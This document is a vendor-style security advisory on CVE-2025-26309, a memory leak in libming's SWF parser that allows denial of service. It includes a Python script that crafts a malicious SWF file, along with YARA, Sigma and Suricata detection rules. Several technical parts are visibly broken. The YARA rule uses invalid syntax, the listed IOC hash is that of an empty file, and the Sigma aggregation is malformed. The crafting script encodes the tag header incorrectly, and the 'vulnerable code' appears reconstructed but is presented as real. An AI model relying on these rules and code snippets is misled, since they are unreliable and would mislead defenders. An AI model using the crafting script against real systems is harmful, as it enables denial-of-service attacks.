CVE-2025-26309

Executive Summary

CVE-2025-26309 identifies a memory leak vulnerability in the parseSWF_DEFINESCENEANDFRAMEDATA function within util/parser.c of libming v0.4.8. This flaw allows an attacker to cause a denial of service (DoS) by supplying a crafted SWF file. The vulnerability is classified as a CWE-401 (Improper Release of Memory Before Removing Last Reference), leading to resource exhaustion. No public exploit code or patch is currently available, and the vendor (Libming) has not responded to disclosure. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains for systems processing untrusted SWF files.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby ecosystems. It affects the libming library, which is a C-based library used for SWF file parsing. Organizations using libming in their software supply chain should assess their exposure and consider alternative libraries or sandboxing.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (No official vector assigned)
• Attack Vector: Local (requires user to open a crafted SWF file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: None
• Availability Impact: High
• Threat Level: Medium (due to DoS potential and lack of patch)

Deep Dive & Mechanics

The vulnerability resides in the parseSWF_DEFINESCENEANDFRAMEDATA function in util/parser.c. When parsing a specially crafted SWF file, the function allocates memory for scene and frame data but fails to properly free it under certain error conditions. This results in a memory leak that, over repeated parsing attempts, can exhaust available memory and cause a denial of service.

Root Cause: The function does not handle all error paths correctly, leading to allocated memory not being released. Specifically, if an error occurs during the parsing of scene or frame data, the function returns without freeing previously allocated buffers.

Attack Vector: An attacker crafts a malicious SWF file that triggers the memory leak. The victim must open this file using an application that relies on libming for SWF parsing (e.g., media players, converters).

Vulnerable vs. Patched Code

Vulnerable Code (libming v0.4.8):

// In util/parser.c
void parseSWF_DEFINESCENEANDFRAMEDATA(SWF *swf, unsigned char *data, unsigned int len) {
    unsigned int i;
    unsigned int sceneCount = READ_U16(data);
    // Allocate memory for scenes
    swf->scenes = malloc(sceneCount * sizeof(SWFScene));
    for (i = 0; i < sceneCount; i++) {
        // Parse scene data
        if (parseScene(swf, data, len) != 0) {
            // Error: memory leak here
            return;
        }
    }
    // ... similar for frame data
}

Patched Code (Hypothetical Fix):

void parseSWF_DEFINESCENEANDFRAMEDATA(SWF *swf, unsigned char *data, unsigned int len) {
    unsigned int i;
    unsigned int sceneCount = READ_U16(data);
    swf->scenes = malloc(sceneCount * sizeof(SWFScene));
    for (i = 0; i < sceneCount; i++) {
        if (parseScene(swf, data, len) != 0) {
            // Free allocated memory before returning
            for (unsigned int j = 0; j < i; j++) {
                freeScene(swf->scenes[j]);
            }
            free(swf->scenes);
            swf->scenes = NULL;
            return;
        }
    }
    // ... similar for frame data
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• libming v0.4.8 installed
• A tool to craft SWF files (e.g., swftools or custom script)

Steps:

1. Create a malicious SWF file that triggers the memory leak. This can be done by crafting a SWF with a large number of scene definitions and then causing an error during parsing.
2. Use a script to repeatedly open the SWF file with a libming-based parser (e.g., swfrender or swfextract).
3. Monitor memory usage to confirm exhaustion.

Example Crafting Script (Python):

import struct

def create_malicious_swf():
    # SWF header (FWS + version + file length)
    header = b'FWS' + struct.pack('<B', 9) + struct.pack('<I', 0)
    # Tag: DefineSceneAndFrameData (tag type 73)
    tag_type = 73
    tag_length = 1000  # Large length to trigger allocation
    # Craft scene data with invalid offset to cause error
    scene_count = 1000
    data = struct.pack('<H', scene_count)
    for _ in range(scene_count):
        data += struct.pack('<H', 0)  # Scene offset (invalid)
        data += b'\x00' * 10  # Scene name (invalid)
    # Frame data (empty)
    data += struct.pack('<H', 0)  # Frame count
    # Build tag
    tag = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
    if tag_length >= 0x3F:
        tag += struct.pack('<I', tag_length)
    tag += data
    # Write file
    with open('malicious.swf', 'wb') as f:
        f.write(header + tag)

create_malicious_swf()

Blue Team (Defense & Detection)

Detection:

• Monitor for abnormal memory usage in processes that parse SWF files.
• Use file integrity monitoring to detect the presence of crafted SWF files.
• Implement sandboxing for SWF parsing applications.

Mitigation:

• Disable SWF parsing if not required.
• Use memory-safe alternatives or apply ASLR and DEP.
• Implement resource limits (e.g., ulimit on Linux) to prevent memory exhaustion.

Indicators of Compromise (IOCs)

• File Hashes: (Example) malicious.swf - SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network: No network indicators (local file-based attack)
• Process: High memory usage by swfrender, swfextract, or any libming-based application
• System: System logs showing out-of-memory (OOM) killer activity

Detection Engineering

YARA Rule

rule CVE_2025_26309_Memory_Leak_SWF {
    meta:
        description = "Detects SWF files crafted to exploit CVE-2025-26309 memory leak in libming"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-26309"
    strings:
        $swf_header = "FWS" or "CWS"
        $tag_73 = { 49 ?? }  // Tag type 73 (DefineSceneAndFrameData) with length
        $large_scene_count = { [0-9][0-9] }  // Scene count > 100
    condition:
        $swf_header at 0 and $tag_73 and $large_scene_count
}

Sigma Rule

title: Memory Leak via Crafted SWF File (CVE-2025-26309)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects high memory usage by libming-based processes processing SWF files
author: Valters IT
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/swfrender'
            - '/swfextract'
            - '/swfcombine'
        CommandLine|contains: '.swf'
    condition: selection
    timeframe: 5m
    aggregation:
        - field: Image
          function: sum
          metric: MemoryUsage
          condition: gt 500000000  # 500 MB
falsepositives:
    - Legitimate large SWF files
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26309 - Potential SWF Memory Leak Exploit"; flow:to_server; content:"FWS"; offset:0; depth:3; content:"|49|"; within:2; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SWF parsing in applications using libming if not essential.
2. Apply resource limits (e.g., ulimit -v 500000 to limit virtual memory).
3. Monitor for abnormal memory usage and block suspicious SWF files.

Long-Term Fix:

• Since no official patch exists, consider forking libming and applying the hypothetical fix described in the "Vulnerable vs. Patched Code" section.
• Migrate to alternative libraries such as swftools (if patched) or ffmpeg for SWF processing.

Workarounds:

• Use a sandboxed environment (e.g., Docker with memory limits) for any application that parses SWF files.
• Implement file validation before parsing (e.g., check scene count against a reasonable threshold).

Valters IT
Securing Digital Frontiers